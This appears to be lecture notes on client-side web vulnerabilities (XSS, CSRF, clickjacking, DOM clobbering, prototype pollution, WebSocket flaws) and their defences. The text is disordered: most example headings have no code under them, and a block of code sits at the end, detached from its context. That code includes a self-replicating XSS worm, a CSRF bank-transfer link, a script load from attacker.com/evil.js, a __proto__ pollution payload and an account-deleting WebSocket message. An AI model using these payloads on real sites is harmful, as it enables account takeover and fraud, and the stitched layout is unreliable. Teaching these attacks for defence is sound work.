Client-side vulnerabilities exploit weaknesses in how web browsers and client-side code handle user input and external data. Unlike server-side vulnerabilities that execute on the server, client-side attacks execute in the victim's browser, potentially compromising the user's session, data, and interactions with the web application. This lecture covers the most critical client-side vulnerabilities and their mitigations.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is one of the most prevalent and dangerous web vulnerabilities. XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser with the same privileges as the legitimate application code.
Why XSS is Dangerous
Impact of XSS:
Session Hijacking: Steal session cookies and impersonate users
Credential Theft: Capture keystrokes, form inputs, passwords
Phishing: Display fake login forms or modify page content
Malware Distribution: Redirect to malicious sites or download malware
Defacement: Modify website appearance
Data Exfiltration: Access and steal sensitive information
Cryptocurrency Mining: Use victim's CPU for mining
Complete Application Control: Execute any action the user can perform
Types of XSS
XSS vulnerabilities are classified into three main types based on how the payload is delivered and executed.
1. Reflected XSS (Non-Persistent)
Definition: The malicious script is embedded in the HTTP request (typically URL or form data) and immediately reflected back in the response without proper sanitization.
Characteristics:
Requires user interaction (clicking malicious link)
Payload not stored on server
Single request/response cycle
Also called Type-I or Non-Persistent XSS
Reflected XSS Example
Vulnerable Application:
Normal Request:
Malicious Request:
Attack Scenario:
Attacker crafts malicious URL:
Attacker sends URL to victim via:
Email phishing
Social media
Malicious website
SMS/messaging apps
Victim clicks link
Script executes in victim's browser
Cookie sent to attacker's server
URL Encoding to Evade Detection:
Advanced Reflected XSS Payloads
Basic Alert:
Cookie Exfiltration:
Image Tag (No Script Tags):
SVG Payload:
Iframe Injection:
2. Stored XSS (Persistent)
Definition: The malicious script is permanently stored on the server (database, file, logs, etc.) and executed whenever users access the affected page.
Characteristics:
Stored in application's database/storage
Executes automatically when page loads
No direct user interaction required
Most dangerous type of XSS
Also called Type-II or Persistent XSS
Can create XSS worms
Stored XSS Example
Vulnerable Comment System:
Attack Scenario:
Attacker submits comment:
Comment stored in database
Every user viewing comments page executes the script
Attacker collects data from all victims
Stored XSS Attack Vectors
User Profiles:
Forum Posts:
File Uploads (SVG):
Contact Forms:
Self-Replicating XSS Worm
Samy Worm (MySpace 2005) - Concept:
3. DOM-Based XSS
Definition: The vulnerability exists in client-side JavaScript code that improperly handles user input, modifying the DOM without proper sanitization.
Characteristics:
Payload never sent to server
Executed entirely in browser
Server-side filters ineffective
Harder to detect with traditional tools
Sources: URL fragments, postMessage, localStorage
DOM XSS Sources (Input Points)
URL-Based Sources:
location.href
location.hash (#fragment)
location.search (?query)
document.URL
document.documentURI
document.referrer
Other Sources:
window.name
postMessage data
localStorage / sessionStorage
IndexedDB
WebSocket messages
DOM XSS Sinks (Dangerous Functions)
Code Execution:
eval()
Function()
setTimeout() with string argument
setInterval() with string argument
HTML Modification:
element.innerHTML
element.outerHTML
document.write()
document.writeln()
Attribute Modification:
element.src
element.href
element.action
element.formaction
element.srcdoc
jQuery Sinks:
$()
.html()
.append()
.after()
DOM XSS Examples
Example 1: innerHTML
Attack:
Example 2: location.hash
Attack:
Example 3: jQuery
Attack:
Example 4: Attribute Sink
Attack:
Advanced DOM XSS
Template Literals:
Prototype Pollution Leading to DOM XSS:
Mutation XSS (mXSS)
Definition: XSS that exploits browser's HTML parser inconsistencies and mutation behavior, bypassing sanitization.
How It Works:
Input passes sanitization
Browser's parser mutates the HTML
Mutation creates valid XSS payload
Example:
Another Example:
Mitigation:
Use DOMPurify with safe parsing mode
Avoid innerHTML, use textContent
Implement strict CSP
XSS Filter Bypasses
1. Bypassing WAF/Filters
Case Manipulation:
HTML Encoding:
JavaScript Encoding:
Hex Encoding:
Unicode Escapes:
2. Bypassing Sanitization
Incomplete Tag Removal:
If filter removes <script>:
Event Handler Obfuscation:
Alternative Tags:
Alternative Event Handlers:
3. Context-Specific Bypasses
Inside Attribute:
Breaking Out of JavaScript String:
Breaking Out of JavaScript Comment:
4. Polyglot Payloads
Work in multiple contexts:
Simpler polyglot:
XSS Exploitation Techniques
1. Cookie Theft
With Image:
2. Keylogger
3. Phishing
4. BeEF Hook
Browser Exploitation Framework:
Attacker gains:
Browser information
Plugin detection
Network scanning
Social engineering modules
Persistent access
5. Cryptocurrency Mining
XSS Prevention and Mitigation
1. Input Validation
Whitelist Approach:
Sanitize HTML:
2. Output Encoding
HTML Context:
JavaScript Context:
URL Context:
3. Use Safe APIs
Safe:
Unsafe:
4. Content Security Policy (CSP)
5. HTTPOnly Cookies
6. Template Engines with Auto-Escaping
React (Auto-escapes):
Vue.js:
Angular:
7. Framework-Specific Protection
React - Dangerous innerHTML:
Vue.js - v-html:
Cross-Site Request Forgery (CSRF)
Definition: CSRF tricks authenticated users into executing unwanted actions on a web application where they're authenticated. The attack abuses the browser's automatic inclusion of authentication credentials (cookies) with cross-origin requests.
How CSRF Works
Prerequisites for CSRF:
Relevant Action: Privileged action or state-changing operation
Cookie-Based Authentication: Application relies solely on cookies
No Unpredictable Parameters: Attacker can determine all request parameters
Attack Flow:
Victim authenticates to vulnerable-bank.com
Browser stores session cookie
Victim visits attacker's site evil.com
Attacker's page makes request to vulnerable-bank.com
Browser automatically includes session cookie
Request executes with victim's privileges
CSRF Attack Examples
Example 1: GET Request
Vulnerable Endpoint:
Attack:
When victim loads attacker's page, image tag triggers request with victim's cookies.
Example 2: POST Request (Auto-Submit Form)
Vulnerable Endpoint:
Attack:
Example 3: XMLHttpRequest
Example 4: Change Email (Account Takeover)
After email changed, attacker requests password reset.
CSRF Defense Mechanisms
1. CSRF Tokens (Synchronizer Token Pattern)
Server-Side:
Client-Side:
AJAX Requests:
2. SameSite Cookies
SameSite Values:
Strict: Never sent on cross-site requests
✅ Prevents all CSRF ❌ Breaks legitimate cross-site navigation
Lax (Default in modern browsers):
✅ Sent on top-level GET navigation (clicking links) ❌ Not sent on POST, iframe, AJAX ✅ Good balance between security and usability
None:
✅ Sent on all requests (requires Secure flag) ❌ No CSRF protection
3. Custom Headers
Server validates:
Why This Works: Simple requests can be sent cross-origin, but custom headers trigger CORS preflight, which attacker cannot pass without CORS headers.
4. Double-Submit Cookie Pattern
Server validates:
5. Referer/Origin Validation
Limitations:
Users can disable Referer header
Can be bypassed with open redirects
Not recommended as sole defense
CSRF Bypass Techniques
1. Bypass SameSite=Lax
GET requests are allowed with SameSite=Lax:
Mitigation: Use POST for state-changing operations.
2. Token Leakage
If token appears in URL or Referer:
3. Token in Response
If token predictable or reusable:
Mitigation: Ensure CORS headers prevent cross-origin token reading.
4. Subdomain Takeover
If attacker controls subdomain:
Mitigation: Don't use domain-wide cookies for CSRF tokens.
Clickjacking
Definition: Clickjacking tricks users into clicking on something different from what they perceive, potentially causing them to perform unintended actions.
How Clickjacking Works
Attacker overlays invisible iframe over deceptive content:
User thinks they're clicking "Click for FREE iPHONE!" but actually clicking "Delete Account" button in invisible iframe.
Clickjacking Attack Scenarios
1. Like/Follow Jacking:
2. Credential Theft:
3. Webcam/Microphone Permission:
4. Drag-and-Drop:
Clickjacking Defenses
1. X-Frame-Options Header:
Cannot be embedded in any frame.
Can only be framed by same origin.
2. CSP frame-ancestors:
Modern replacement for X-Frame-Options.
Only same origin can frame.
Specific origin can frame.
3. Frame-Busting JavaScript (Unreliable):
Bypass:
Other Client-Side Vulnerabilities
DOM Clobbering
Definition: Exploiting browser's behavior of creating global variables for HTML elements with id or name attributes.
Example:
Mitigation:
Use const/let for variables
Don't rely on global scope
Validate types: if (typeof config === 'object')
Prototype Pollution
Definition: Modifying JavaScript object prototypes, affecting all objects.
Example:
Client-Side Impact:
XSS via polluted properties
Authentication bypass
Security control bypass
Mitigation:
WebSocket Vulnerabilities
Missing Origin Validation:
Attack:
Mitigation:
postMessage Vulnerabilities
Insecure Receiver:
Attack:
Secure Implementation:
Key Takeaways
XSS remains one of the most critical web vulnerabilities
Three main types: Reflected, Stored, and DOM-based
Always encode output based on context
Use CSP and HTTPOnly cookies as defense-in-depth
CSRF requires both prevention mechanisms and secure coding
SameSite cookies provide strong CSRF protection
Clickjacking needs frame-ancestors CSP or X-Frame-Options
Modern JavaScript introduces new attack vectors (Prototype Pollution, DOM Clobbering)
WebSockets and postMessage require explicit origin validation
<script>
// Payload that adds attacker as friend and posts itself
var ajax = new XMLHttpRequest();
ajax.open('POST', '/addFriend', true);
ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
ajax.send('friend=attacker');
// Copy payload to victim's profile
var payload = document.getElementById('payload').innerHTML;
var profile = new XMLHttpRequest();
profile.open('POST', '/updateProfile', true);
profile.send('bio=' + encodeURIComponent(payload));
</script>
// Vulnerable code
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
// Vulnerable
const name = location.hash.substring(1);
document.body.innerHTML = `<h1>Hello ${name}</h1>`;
// Pollute prototype
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// Later in code (vulnerable if it reads from prototype)
someElement.innerHTML = config.template; // Uses polluted prototype
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
abort(403)
// Set token in cookie and form
document.cookie = 'csrf_token=' + token;
<form>
<input type="hidden" name="csrf_token" value="TOKEN">
</form>
if request.cookies['csrf_token'] != request.form['csrf_token']:
abort(403)
allowed_origins = ['https://example.com', 'https://app.example.com']
origin = request.headers.get('Origin') or request.headers.get('Referer')
if not any(origin.startswith(allowed) for allowed in allowed_origins):
abort(403)
<a href="https://bank.com/transfer?to=attacker&amount=1000">
Click for prize!
</a>
<a href="https://bank.com/transfer?csrf_token=abc123&to=victim">
<!-- If this leaks in Referer to attacker's site -->
<form id="user">
<input name="admin" value="true">
</form>
<script>
// Attacker injects:
<a id="config" href="https://attacker.com/evil.js">
// Later in code:
if (config.admin) { // Reads from DOM, not expected object
// ...
}
// Or:
let script = document.createElement('script');
script.src = config.apiUrl; // Points to attacker's URL
document.body.appendChild(script);
</script>
// Vulnerable merge function
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
return target;
}
// Attack payload
let payload = JSON.parse('{"__proto__": {"admin": true}}');
merge({}, payload);
// Now all objects have admin property
let user = {};
console.log(user.admin); // true!
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
}
// Vulnerable server
wss.on('connection', function(ws) {
// No origin check!
ws.on('message', function(msg) {
processMessage(msg);
});
});
<!-- Attacker's page -->
<script>
let ws = new WebSocket('wss://vulnerable.com/socket');
ws.onopen = function() {
ws.send('{"action": "deleteAccount"}');
};
</script>